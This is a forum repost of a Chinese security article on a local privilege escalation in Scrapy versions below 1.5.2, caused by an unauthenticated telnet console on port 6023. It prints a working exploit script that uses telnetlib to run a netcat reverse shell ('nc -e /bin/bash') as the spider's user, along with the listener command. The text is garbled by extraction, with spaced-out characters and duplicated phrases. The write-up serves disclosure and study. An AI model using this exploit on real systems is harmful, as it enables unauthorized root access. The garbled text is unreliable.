搜索

[14321] 2019-07-07_网络爬虫暗藏杀机：在Scrapy中利用Telnet服务LPE

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-07-07_网络爬虫暗藏杀机：在Scrapy中利用Telnet服务LPE 网 络 爬 虫 暗 藏 杀 机 ： 在 S c r a p y 中 利 用 T e l n e t 服 务 L P E 原 创   T o u c h F i s h B o y   F r e e B u f   2 0 1 9 - 0 7 - 0 7 0 x 0 0   前 言 前 言 网 络 抓 取 框 架 中 使 用 最 多 的 莫 过 于 是 网 络 抓 取 框 架 中 使 用 最 多 的 莫 过 于 是 s c r a p y , 然 而 我 们 是 否 考 虑 过 这 个 框 架 是 否 存 在 漏 洞 妮 ？ 然 而 我 们 是 否 考 虑 过 这 个 框 架 是 否 存 在 漏 洞 妮 ？ 5 年 前 曾 经 在 年 前 曾 经 在 s c r a p y 中 爆 出 过 中 爆 出 过 X X E 漏 洞 ， 然 而 这 次 我 们 发 现 的 漏 洞 是 一 个 漏 洞 ， 然 而 这 次 我 们 发 现 的 漏 洞 是 一 个 L P E 。 。 通 过 该 漏 洞 可 以 获 得 通 过 该 漏 洞 可 以 获 得 s h e l l , 本 文 中 暴 露 的 漏 洞 会 产 生 影 响 本 文 中 暴 露 的 漏 洞 会 产 生 影 响 s c r a p y 低 于 低 于 1 . 5 . 2 的 版 本 。 的 版 本 。 0 x 0 1   环 境 搭 建 环 境 搭 建 K a l i 系 统 下 载 压 缩 包 s c r a p y - 1 . 5 . 1 . z i p ， 然 后 进 行 解 压 执 行 安 装 ： 如 果 安 装 报 错 ， 记 得 安 装 p y t h o n 3 的 p i p ， 然 后 输 入 p i p 3   i n s t a l l   T w i s t e d   安 装 完 T w i s t e d 模 块 ， 再 次 P y t h o n 3   s e t u p . p y   i n s t a l l 就 可 以 完 成 安 装 。 0 x 0 2   漏 洞 分 析 过 程 漏 洞 分 析 过 程 S c r a p y 很 容 易 上 手 ， 就 如 同 在 官 网 主 页 上 看 到 的 一 样 容 易 ， 可 以 快 速 的 写 一 个 蜘 蛛 爬 虫 。 然 后 再 运 行 的 时 候 我 们 可 以 看 到 会 启 动 的 扩 展 和 一 些 选 项 信 息 ， 我 们 可 以 清 楚 的 看 到 默 认 它 会 启 动 t e l n e t 服 务 。 然 后 这 个 t e l n e t 会 监 听 本 地 的 6 0 2 3 端 口 。 开 启 t e l n e t 的 原 因 是 方 便 调 试 ， 那 么 如 果 有 人 访 问 了 这 个 t e l n e t 是 不 是 可 以 获 得 一 些 有 趣 的 东 西 ， 而 且 该 控 制 台 会 不 会 在 没 有 任 何 身 份 验 证 的 情 况 下 可 用 然 后 任 何 本 地 用 户 都 可 以 连 接 到 端 口 并 在 运 行 蜘 蛛 的 用 户 情 况 下 执 行 命 令 ， 那 么 是 不 是 会 造 成 本 地 权 限 提 升 （ L P E ） 。 复 现 复 现 L P E 这 种 利 用 需 要 满 足 两 个 条 件 ： S c r a p y ( v 1 . 5 . 1 ) [ h t t p s : / / g i t h u b . c o m / s c r a p y / s c r a p y / r e l e a s e s ] P y t h o n 3   s e t u p . p y   i n s t a l l
1 . 开 发 可 以 访 问 系 统 2 . 有 一 个 蜘 蛛 在 运 行 并 暴 露 了 t e l n e t 服 务 。 以 下 蜘 蛛 符 合 此 要 求 ， 进 行 初 始 请 求 ， 然 后 因 d o w n l o a d _ d e l a y 设 置 而 空 转 我 们 然 后 再 写 一 个 利 用 的 e x p ： e x p . p y : E x p . p y 它 定 义 了 一 个 反 向 s h e l l ， 连 接 到 t e l n e t 服 务 并 发 送 一 行 来 使 用 P y t h o n 执 行 反 向 s h e l l   o s . s y s t e m 。 操 作 流 程 操 作 流 程 先 使 用 r o o t 账 户 调 用 S c r a p y 去 运 行 t e l n e t _ t e s t . p y ， 然 后 通 过 s u 调 用 两 个 低 权 限 账 号 ， 一 个 负 责 接 收 n c 反 弹 s h e l l ， 一 个 负 责 执 行 e x p . p y , 然 后 运 行 t e l n e t _ t e s t 的 时 候 执 行 e x p . p y 。   先 使 用 n c   - l v p   4 4 4 4   监 听 4 4 4 4 端 口 ； 运 行 指 令 ： s c r a p y   r u n s p i d e r   t e l n e t _ t e s t . p y ； 然 后 运 行 的 时 候   p y t h o n 3   e x p . p y ； 然 后 获 取 反 弹 s h e l l ( 发 现 是 r o o t ) 。 t e l n e t _ t e s t . p y i m p o r t   s c r a p y f r o m   s c r a p y . h t t p   i m p o r t   R e q u e s t c l a s s   T e l n e t W a i t i n g S p i d e r ( s c r a p y . S p i d e r ) :         n a m e   =   " t e l n e t _ w a i t i n g "         a l l o w e d _ d o m a i n s   =   [ " e x a m p l e . o r g " ]         s t a r t _ u r l s   =   [ " h t t p : / / w w w . e x a m p l e . o r g " ]         d o w n l o a d _ d e l a y   =   1 0 0 0         d e f   p a r s e ( s e l f ,   _ ) :                 y i e l d   R e q u e s t ( u r l = " h t t p : / / w w w . e x a m p l e . o r g / " ) i m p o r t   t e l n e t l i b r s   =   " n c . t r a d i t i o n a l   - e   / b i n / b a s h   l o c a l h o s t   4 4 4 4 " t n   =   t e l n e t l i b . T e l n e t ( " l o c a l h o s t " ,   6 0 2 3 ) t n . w r i t e ( f " i m p o r t   o s ;   o s . s y s t e m ( ' { r s } ' ) " . e n c o d e ( " a s c i i " )   +   b " n " )
成 功 复 现 了 一 个 L P E ( 本 地 权 限 提 升 ) 。 0 x 0 3 总 结 总 结 信 息 安 全 的 本 质 是 信 任 问 题 ， 当 我 们 使 用 了 框 架 就 代 表 我 们 信 任 了 这 个 框 架 ， 如 果 框 架 的 安 全 性 不 对 其 进 行 检 测 ， 那 么 所 带 来 的 是 毁 灭 性 的 结 果 。 * 本 文 作 者 ： 本 文 作 者 ： T o u c h F i s h B o y ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理